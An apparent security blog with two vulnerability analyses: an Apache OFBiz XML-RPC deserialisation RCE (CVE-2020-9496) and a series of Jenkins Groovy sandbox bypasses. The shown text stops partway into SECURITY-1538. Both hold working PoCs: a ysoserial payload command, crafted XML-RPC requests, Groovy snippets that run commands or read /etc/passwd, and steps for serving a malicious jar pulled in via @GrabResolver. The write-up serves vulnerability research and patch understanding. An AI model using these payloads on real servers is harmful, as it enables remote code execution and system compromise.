Java on 诗与胡说

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

Tue, 22 Sep 2020 11:17:46 +0000

环境搭建

下载：https://downloads.apache.org/ofbiz/
安装：在主目录下执行：
1. .\gradle\init-gradle-wrapper.ps1
2. gradlew.bat

背景

Web路由

<!-- framework\webtools\webapp\webtools\WEB-INF\web.xml -->
<servlet>
    <description>Main Control Servlet</description>
    <display-name>ControlServlet</display-name>
    <servlet-name>ControlServlet</servlet-name>
    <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>ControlServlet</servlet-name>
    <url-pattern>/control/*</url-pattern>
</servlet-mapping>

根据web.xml定义的servlet，定位到org.apache.ofbiz.webapp.control.ControlServlet

主要请求由org.apache.ofbiz.webapp.control.RequestHandler#doRequest()处理

首先根据请求的url获取路由信息，默认有216个url路径（17.12.03版本）

之后会根据requestMap.event信息去查找负责处理event的handler，之后再通过invoke进行具体的调用，该过程由org.apache.ofbiz.webapp.control.RequestHandler#runEvent()来完成

XML-RPC消息

XML-RPC数据类型

文档：https://ws.apache.org/xmlrpc/types.html

根据文档，xmlrpc支持多种数据类型，对应的xml标签包括base64、struct、array等

下面是几种常见的数据类型

<!-- array -->
<value>
  <array>
    <data>
      <value><int>7</int></value>
    </data>
  </array>
</value>


<!-- struct -->
<struct> 
  <member> 
    <name>foo</name> 
    <value>bar</value> 
  </member> 
</struct>

XML-RPC消息格式

文档：http://xmlrpc.com/spec.md

每个XML-RPC请求都以<methodCall></methodCall>开头，该元素包含单个子元素<methodName>method</methodName>，元素<methodName>包含子元素<params>，<params>可以包含一个或多个<param>元素。如：

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>examples.getStateName</methodName>  
  <params> 
    <param> 
      <value>
        <i4>41</i4>
      </value> 
    </param> 
  </params> 
</methodCall>

漏洞分析

CVE-2020-9496

根据补丁发现framework\webtools\webapp\webtools\WEB-INF\controller.xml中的xmlrpc请求增加了<security auth="true"/>的认证，说明默认情况下该接口访问无需认证

<!-- framework\webtools\webapp\webtools\WEB-INF\controller.xml -->
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
    <security https="false"/>
    <event type="xmlrpc"/>
    <response name="error" type="none"/>
    <response name="success" type="none"/>
</request-map>

调用方法

直接构造post请求发送

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
  <methodName>testMethod</methodName>
  <params>
    <param>
      <value>test</value>
    </param>
  </params>
</methodCall>

发现报错org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]说明没有相关的方法

下断点调试一下，由上面的org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()进入execute()，接着调用org.apache.xmlrpc.server.XmlRpcServer#execute()

跟入XmlRpcServer#execute()，发现调用了org.apache.xmlrpc.server.XmlRpcServerWorker#execute()，由具体的event handler处理XML-RPC请求

在org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()中获取Handler对应的ModelService，默认注册的service有3000多个，也就是可供调用的methodName，如果找不到service会抛出No such service的异常

所以此处传入一个已注册的service

回到org.apache.xmlrpc.server.XmlRpcServerWorker#execute()，当成功查询到service后通过handler.execute(pRequest)进行调用，注意此处还会检查一次ModelService的export属性，因此通过遍历serviceMap找到一个export为true的方法，如ping

继续构造请求（下面会解释为什么需要struct块）

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>foo</name>
            <value>aa</value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

响应

<?xml version="1.0" encoding="UTF-8"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><params><param><value><struct><member><name>message</name><value>PONG</value></member></struct></value></param></params></methodResponse>

说明成功调用ping方法

反序列化点

在Ofbiz自带的第三方库xmlrpc-common-3.1.3.jar中的org.apache.xmlrpc.parser.SerializableParser类能明显地看到对数据的还原操作，如果gadget到达此处能直接被反序列化而不会被过滤。

解析XML

回到org.apache.ofbiz.webapp.control.RequestHandler#runEvent()方法，在其随后调用的链中，注意到getRequest()方法

org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
  org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
    org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
      org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()

在getRequest()中，传入的xml数据由第三方库xmlrpc-common.jar来进行解析（注意到此处做了XXE防护）

该类的初始化由父类org.apache.xmlrpc.parser.RecursiveTypeParserImpl完成，顾名思义就是递归解析，其他的便是常规的xml元素解析操作，包括startElement()、endElement()等。我们知道在解析器解析xml数据的过程中，会触发到scanDocument()操作对元素进行逐一“扫描”，其中就会进行startElement()、endElement()的调用，这个过程如果处理不当就会引入问题。

注意到在endElement()方法中对于value标签的处理，同样由父类完成，跟入org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()

在endValueTag()调用了getResult()方法，而这个方法就是上面提到的反序列化目标方法，那么接下来就是构造xml数据发送给Ofbiz，如果value的标签中存放的值为序列化数据，那么会由SerializableParser类进行反序列化进而触发漏洞，调用链是这个样子的

org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
  org.apache.xerces.parsers.AbstractSAXParser.parse()
    org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
      org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
        org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
          org.apache.xmlrpc.parser.MapParser.endElement()
            org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
              org.apache.xmlrpc.parser.SerializableParser.getResult()

PoC构造

接下来的问题就是如何构造出特定的xml数据

以上面的ping方法为例，假设post如下数据

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>test</value>
    </param>
  </params>
</methodCall>

Ofbiz成功解析到endValueTag()方法，但是由于typeParser属性为空，因此不会进入getResult()方法

那么typeParser属性是在哪里赋值的呢？

回到org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement()，在解析器解析xml标签时，对4类标签（methodCall、params、param、value）有分别的处理，这个处理过程是随着每次遍历标签进行的，当扫描完4个必须提供的标签后，会调用父类的startElement()进行处理，而typeParser就是在父类中完成赋值的，随后便通过不同的解析器进入不同的解析流程，还是会调用对应解析器的startElement，这个过程是递归的

分析扫描标签的递增过程，发现此处除了4个标签外，还需在<value>标签中含有额外的标签，才会进入default分支进而对typeParser赋值，此时struct就是一个很好的选择，它能把数据作为一个结构体传入。

接着思考如何传入序列化数据，也即如何控制后端通过SerializableParser解析数据

还是关注typeParser的赋值过程，这个属性就是最终将要处理不同类型数据的解析器，在org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()中，注意到factory.getParser()操作，将由org.apache.xmlrpc.common.TypeFactoryImpl类获得不同数据类型的解析类，在其中就有获取SerializableParser的过程

因此只要传入<serializable>标签便会由SerializableParser进行解析。

此时还有个前提条件，那就是标签属性必须带有XmlRpcWriter.EXTENSIONS_URI才会进入后续的判断流程，因此post的数据是这样子的：

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>foo</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

最后一步，数据的格式

在获取到SerializableParser解析器后，startElement过程由父类org.apache.xmlrpc.parser.ByteArrayParser#startElement()完成，在其中能看到base64的解码操作，所以最终的序列化数据是需要通过base64传输的

漏洞利用

Ofbiz中存在Commons-Beanutils库，所以使用ysoserial直接生成CommonsBeanutils1的payload

> java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...

填充serialized_data并发送

调用链

java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
	at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
	at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
	at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
	at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
	at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:465) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doGet(ControlServlet.java:217) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:91) [ofbiz.jar:?]

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

Wed, 16 Sep 2020 11:48:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

本报告下篇分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，梳理了Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。

突破Groovy沙箱

借用@廖新喜在2019 KCon大会的议题《Java生态圈沙箱逃逸实战》中的一张图，概括了Groovy沙箱的绕过史

下面按照官方发布的安全更新先后顺序梳理在Script Security插件中出现的沙箱绕过漏洞

SECURITY-1266

公告：https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
CVE：CVE-2019-1003000
插件：Script Security
影响版本：<=1.49
利用点
- org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl
- org.jenkinsci.plugins.workflow.cps#CpsFlowDefinition

分析

DescriptorImpl继承自Descriptor，通过上面的利用链能调用到这个descriptor并且能指定调用方法，同时这个类的doCheckScript方法对Groovy脚本进行了解析，又根据上文的分析我们可以调用到任意do方法，因此这个过程可以控制传入的脚本内容进而绕过沙箱执行代码

下面是分析GroovyShell解析脚本的过程，不感兴趣的可以略过

通过parse()方法解析Groovy脚本，经过一系列调用后进入GroovyClassLoader#doParseClass()方法，在该方法中的unit.compile(goalPhase);完成解析

其中goalPhase记录了当前解析的阶段，相关定义在org.codehaus.groovy.control.Phases，可以看到在Groovy compile的时候共有9个阶段，其中ALL和FINALIZATION定义是一样的

从注释也能看出来，分别是

初始化：打开源文件并配置环境；
解析：语法用于生成代表源代码的令牌树；
转换：从标记树创建抽象语法树（AST）；
语义分析：执行语法无法检查的一致性和有效性检查，并解析类；
规范化：完成AST的构建；
指令选择：选择指令集，例如Java 6或Java 7字节码级别；
类生成：在内存中创建*类*的字节码；
输出：将二进制输出写入文件系统；
完成：执行任何最后的清理；

跟入CompilationUnit#compile()

可以看到当执行到阶段4时会先调用doPhaseOperation()方法，然后继续processPhaseOperations()和processNewPhaseOperations()操作，接着如果progressCallback不为空的话会去调用回调函数，当第一次进行到阶段4的时候，会设置progressCallback为ASTTestTransformation，接下来的阶段progressCallback都为这个值，直到执行到设置好的阶段7。

在执行progressCallback.call，即调用到ASTTestTransformation#visit()的过程中，会再次调用到GroovyShell#evaluate()，随后再次进入parse的流程，这是一个递归的过程，也就是说从阶段4到阶段7一共会执行4次parse，每次parse完成通过script.run()执行代码

本地测试一下，打印出每次执行到的阶段，可以看到对ASTTest的解析会涉及到阶段4到阶段7

一个tips：

@ASTTest有两个参数，其中*phase*可以指定ASTTest执行的阶段，在该阶段结束时作用于AST树

参考：https://groovy-lang.org/metaprogramming.html#xform-ASTTest

因此，通过@ASTTest语法可以利用断言执行代码，这个过程发生在Groovy解析脚本的过程中，而不用等到具体调用再执行

PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec("calc")})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/script-security-plugin commit
版本：1.50
概述：新增RejectASTTransformsCustomizer类，拦截ASTTest.class和Grab.class，出现这两个语法会抛出异常

SECURITY-1292

公告：https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292
CVE：CVE-2019-1003005
插件：Script Security Plugin
版本：<=1.50

Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements.

This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the 2019-01-08 fix for SECURITY-1266 and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.

org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl利用链中的doCheckScript方法没有及时更新修复后的安全方法，依然存在风险，绕过点就是利用@Grab

Grape 是一个内嵌在 Groovy 中的 JAR 依赖项管理器，方便在classpath中快速添加 Maven 库依赖项，更易于编写脚本。最简单的用法是在脚本上添加注释（annotation），如下所示：

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

程序会自动去仓库下载对应的库，并保存在~/.groovy/grapes/目录

分析

现在只需找到一个可以利用的类便可完成代码执行，这里列举两个：

org.zeroturnaround.zt-exec类，本地测试

@Grab('org.zeroturnaround:zt-exec:1.11')
import org.zeroturnaround.exec.ProcessExecutor
new ProcessExecutor().command("calc").execute()

除此之外，adamyordan/cve-2019-1003000-jenkins-rce-poc利用了org.buildobjects.process.ProcBuilder类，效果是一样的

import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

但是，在Jenkins中执行并不能正常触发，报错如下：

Caused by: java.lang.RuntimeException: No suitable ClassLoader found for grab
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at org.codehaus.groovy.reflection.CachedConstructor.invoke(CachedConstructor.java:83)
        at org.codehaus.groovy.runtime.callsite.ConstructorSite$ConstructorSiteNoUnwrapNoCoerce.callConstructor(ConstructorSite.java:105)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallConstructor(CallSiteArray.java:60)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:235)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:247)
        at groovy.grape.GrapeIvy.chooseClassLoader(GrapeIvy.groovy:182)
        at groovy.grape.GrapeIvy$chooseClassLoader.callCurrent(Unknown Source)
        at groovy.grape.GrapeIvy.grab(GrapeIvy.groovy:249)
        at groovy.grape.Grape.grab(Grape.java:167)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.invoke(StaticMetaMethodSite.java:46)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.callStatic(StaticMetaMethodSite.java:102)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.kohsuke.groovy.sandbox.impl.Checker$2.call(Checker.java:188)
        at org.kohsuke.groovy.sandbox.impl.Checker.checkedStaticCall(Checker.java:190)
        at org.kohsuke.groovy.sandbox.impl.Checker$checkedStaticCall$0.callStatic(Unknown Source)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:222)
        at Script1.<clinit>(Script1.groovy)
        ... 95 more

下面针对这个异常来分析@grab的执行流程，不感兴趣的可以略过

@grab的解析与上面@ASTTest类似，同样是9个阶段，不同的是解析ASTTest时回调的是ASTTestTransformation而grab回调的是GrabAnnotationTransformation#visit()，进而执行到groovy.grape.Grape#grab

最终的实现由groovy.grape.GrapeIvy#grab来完成，源码

在这个过程中会通过两次chooseClassLoader来加载class，当class以及其父类不属于groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader时会抛出No suitable ClassLoader found for grab

通过Matrix Project Plugin插件来跟踪流程，该插件的Combination Filter功能可以进行groovy解析，这个地方也披露过一个沙箱绕过漏洞，具体分析请参考下文[SECURITY-1339]{#SECURITY-1339}

当用户从Configuration Matrix页面上保存配置时，调用如下

public Script parse(GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(this.parseClass(codeSource), this.context);
}

在执行createScript()和parseClass()两个方法时都会对grab进行解析，但参数有所不同

parseClass()过程传递的参数classLoader为GroovyClassLoader，因此能够正常加载，即一次成功的grab解析过程

createScript()过程的args参数不含classLoader，于是Jenkins会加载当前插件类script-security，不属于上面提到的groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader，所以会抛出No suitable ClassLoader found for grab异常，但是恶意代码已经在第一次解析的时候触发了

两次调用栈对比

接下来当成功获取到loader 后会通过下面两个方法开始解析具体的jar文件，重点关注processOtherServices()

processCategoryMethods()
processOtherServices()

可以看到在processRunners()中有 newInstance()方法，当我们把META-INF/services/org.codehaus.groovy.plugins.Runners设置成恶意类时，Grape就会以这个类为入口点，即可创建这个类的实例，这也就是Orange在Hacking Jenkins Part 2中提到要将执行的类名放到该路径下的原因：

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔，把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼!

因此该漏洞的触发方式是，使用@grab引入外部jar文件，并且jar包中的META-INF/services/org.codehaus.groovy.plugins.Runners内容为要执行的类名，通过GroovyShell.parse即可触发。

PoC

需要额外创建恶意jar包并放在~/.groovy/grapes/jars目录，较鸡肋，配合@GrabResolver从远程获取恶意类更方便触发，详细分析参考[SECURITY-1319]{#SECURITY-1319}

补丁

jenkinsci/script-security-plugin commit
版本：1.51
概述：在1.50的修复中新增了一个RejectASTTransformsCustomizer类用来拦截黑名单，但是在SecureGroovyScript#DescriptorImpl的doCheckScript()方法中并没有调用，在该版本修改了直接parse的过程

createSecureCompilerConfiguration()方法即在SECURITY-1266中新增的修复方法

SECURITY-1318

@Grapes可以进行多重注释，如

@Grapes([
   @Grab(group='commons-primitives', module='commons-primitives', version='1.0'),
   @Grab(group='org.ccil.cowan.tagsoup', module='tagsoup', version='0.9.7')])
class Example {
// ...
}

所以上面的@Grab可以放进@Grapes中，效果是一样的，以此来绕过黑名单

PoC

@Grapes([@Grab('org.zeroturnaround:zt-exec:1.11'), @GrabConfig(systemClassLoader=false)])
import org.zeroturnaround.exec.ProcessExecutor;
new ProcessExecutor().command("calc").execute();

SECURITY-1319

使用@GrabResolver可以从指定仓库下载依赖文件，如

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')

这里的root可以指定任意地址，也就可以从远程获取恶意jar文件，这也是Orange在Hacking Jenkins Part 2提到的方法

PoC

编写执行命令的恶意类

public class Exploit {
    public Exploit() {
        try {
            String payload = "calc";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
        }
    }
}

编译生成class
```
javac Exploit.java
```
创建文件夹
```
mkdir -p META-INF/services/
```
将要执行的类名写入到META-INF/services/org.codehaus.groovy.plugins.Runners 中，原因见上文@grab的分析
```
echo Exploit >META-INF/services/org.codehaus.groovy.plugins.Runners
```

打包成jar

jar cvf payload-1.jar Exploit.class META-INF/

创建目录，与最终poc中garb的group，module，version关联，如

@Grab(group='exp',module='payload',version='1')

则创建exp/payload/1目录
把生成的jar文件放在exp/payload/1中，并开启一个http服务

发送PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='payload',root='http://127.0.0.1:83/')%0a@Grab(group='exp',module='payload',version='1')%0aimport%20Exploit;

http响应并执行命令

注意：

当通过grab拉取jar后会在~/.groovy/grapes目录创建相应的ivy.xml文件（类似于pom文件，保存依赖关系）和jars目录，当再次请求相同的包时会从本地获取jar文件而不会去请求http，如果要再次请求就需要更改包名或版本；
还需要注意目标的Java版本与编译恶意类的Java版本是否一致，否则会报错；

SECURITY-1320

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

补丁中对1320的测试用例提示了绕过方法，就是通过导入别名的方式

PoC

import groovy.transform.ASTTest as lolwut;
@lolwut(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

SECURITY-1321

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

同样根据测试用例发现通过元注释来绕过

文档上的例子：

import groovy.transform.*
@AnnotationCollector([EqualsAndHashCode, ToString])
@interface Simple {}

@Simple
class User {
    String username
    int age
}

def user = new User(username: 'mrhaki', age: 39)
assert user.toString()

PoC

import groovy.transform.*;
@AnnotationCollector([ASTTest])
@interface Lol {}
@Lol(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

补丁

jenkinsci/script-security-plugin commit
版本：1.53
概述：SECURITY-1318, SECURITY-1319, SECURITY-1320, SECURITY-1321均在1.53版本中修复，把Grab注释相关的方法全部放进了黑名单

SECURITY-1339

公告：https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
CVE：CVE-2019-1003031
插件：Matrix Project Plugin
影响版本：<= 1.13

这个漏洞需要配合SECURITY-1336 (1) / CVE-2019-1003029触发，本质还是利用在解析groovy脚本后中通过script.run()执行代码

分析

从页面提交Filter之后执行到hudson.matrix.MatrixProject#submit()，payload传给参数combinationFilter，随后执行rebuildConfigurations

payload传入evalGroovyExpression，然后调用hudson.matrix.FilterScript#parse()方法初始化一个GroovyShell，并通过GroovyShell解析表达式，代码得到执行

PoC

class poc{poc(){"calc".execute()}}

补丁

jenkinsci/script-security-plugin commit
jenkinsci/matrix-project-plugin commit
概述：

在SECURITY-1336的修复中，使用安全的方法

GroovySandbox.run(GroovyShell, String, Whitelist)

代替

GroovySandbox.run(Script, Whitelist)

安全方法会在执行之前通过白名单检查，之后直接通过shell.parse会抛出一个java.lang.IllegalStateException的异常

SECURITY-1465

公告：https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2)
CVE：CVE-2019-10355, CVE-2019-10356
插件：Script Security
影响版本：<=1.61

概述

Groovy语法中的方法指针运算符.&可以获取一个方法指针，后面再调用该指针可以直接访问到指定方法，如：

void doSomething(def param) {
    println "In doSomething method, param: " + param
}
def m = this.&doSomething
m("test param");

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

分析

org.kohsuke.groovy.sandbox.GroovyInterceptor是一个拦截器类，功能是为当前线程创建相应方法的拦截器，在接收拦截之前，需要通过GroovyInterceptor#register()注册，相关方法在

在script-security 1.58版本中把这部分代码放到了GroovySandbox.Scope enter()方法中

而register()方法的功能是通过threadInterceptors.get().add()为当前线程注册拦截器

public void register() {
    ((List)threadInterceptors.get()).add(this);
}

该漏洞的利用点就是在threadInterceptors.get()获取到线程信息之后，再调用clear()方法清除当前线程的所有拦截器，使黑名单失效，然后就可以注入自定义代码来绕过沙箱

本地测试一下

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }()).execute();

但是直接发送这个脚本会被org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist#rejectStaticField()拦截，于是可以在execute之前利用.&操作符绕过

或者利用这个issue的方式，在此处.&并没有起到实质调用的作用，只是为了绕过Jenkins对staticField的检查

PoC

PoC的变化也多种多样，可以通过上面分析的Matrix Project Plugin插件触发

Poc1

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }().&toString).execute();

PoC2

1.&({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); 'x' }()); 'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：在方法指针表达式增加了transform检查

SECURITY-1538

公告：https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538
CVE：CVE-2019-10393, CVE-2019-10394, CVE-2019-10399, CVE-2019-10400
插件：Script Security
影响版本：<=1.62

概述

该问题与SECURITY-1465一样，由于groovy语法特性导致绕过，此次利用的是方法调用表达式，可以通过()运算符直接调用call方法，如：

class MyCallable {
    int call(int x) {           
        2*x
    }
}
def mc = new MyCallable()
assert mc.call(2) == 4          
assert mc(2) == 4

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

